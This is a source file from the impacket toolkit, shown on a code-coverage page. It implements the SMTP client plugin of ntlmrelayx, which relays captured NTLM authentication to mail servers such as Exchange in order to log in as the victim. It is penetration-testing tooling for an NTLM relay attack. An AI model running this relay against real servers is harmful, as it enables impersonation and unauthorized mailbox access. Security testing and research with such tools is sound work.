Hide keyboard shortcuts

Hot-keys on this page

r m x p   toggle line displays

j k   next/prev highlighted chunk

0   (zero) top of page

1   (one) first highlighted chunk

1# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 

2# 

3# This software is provided under under a slightly modified version 

4# of the Apache Software License. See the accompanying LICENSE file 

5# for more information. 

6# 

7# SMTP Protocol Client 

8# 

9# Author: 

10# Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 

11# Alberto Solino (@agsolino) 

12# 

13# Description: 

14# SMTP client for relaying NTLMSSP authentication to mailservers, for example Exchange 

15# 

16import smtplib 

17import base64 

18from struct import unpack 

19 

20from impacket import LOG 

21from impacket.examples.ntlmrelayx.clients import ProtocolClient 

22from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED 

23from impacket.ntlm import NTLMAuthChallenge 

24from impacket.spnego import SPNEGO_NegTokenResp 

25 

26PROTOCOL_CLIENT_CLASSES = ["SMTPRelayClient"] 

27 

28class SMTPRelayClient(ProtocolClient): 

29 PLUGIN_NAME = "SMTP" 

30 

31 def __init__(self, serverConfig, target, targetPort = 25, extendedSecurity=True ): 

32 ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) 

33 

34 def initConnection(self): 

35 self.session = smtplib.SMTP(self.targetHost,self.targetPort) 

36 # Turn on to debug SMTP messages 

37 # self.session.debuglevel = 3 

38 self.session.ehlo() 

39 

40 if 'AUTH NTLM' not in self.session.ehlo_resp: 

41 LOG.error('SMTP server does not support NTLM authentication!') 

42 return False 

43 return True 

44 

45 def sendNegotiate(self,negotiateMessage): 

46 negotiate = base64.b64encode(negotiateMessage) 

47 self.session.putcmd('AUTH NTLM') 

48 code, resp = self.session.getreply() 

49 if code != 334: 

50 LOG.error('SMTP Client error, expected 334 NTLM supported, got %d %s ' % (code, resp)) 

51 return False 

52 else: 

53 self.session.putcmd(negotiate) 

54 try: 

55 code, serverChallengeBase64 = self.session.getreply() 

56 serverChallenge = base64.b64decode(serverChallengeBase64) 

57 challenge = NTLMAuthChallenge() 

58 challenge.fromString(serverChallenge) 

59 return challenge 

60 except (IndexError, KeyError, AttributeError): 

61 LOG.error('No NTLM challenge returned from SMTP server') 

62 raise 

63 

64 def sendAuth(self, authenticateMessageBlob, serverChallenge=None): 

65 if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: 

66 respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) 

67 token = respToken2['ResponseToken'] 

68 else: 

69 token = authenticateMessageBlob 

70 auth = base64.b64encode(token) 

71 self.session.putcmd(auth) 

72 typ, data = self.session.getreply() 

73 if typ == 235: 

74 self.session.state = 'AUTH' 

75 return None, STATUS_SUCCESS 

76 else: 

77 LOG.error('SMTP: %s' % ''.join(data)) 

78 return None, STATUS_ACCESS_DENIED 

79 

80 def killConnection(self): 

81 if self.session is not None: 

82 self.session.close() 

83 self.session = None 

84 

85 def keepAlive(self): 

86 # Send a NOOP 

87 self.session.noop()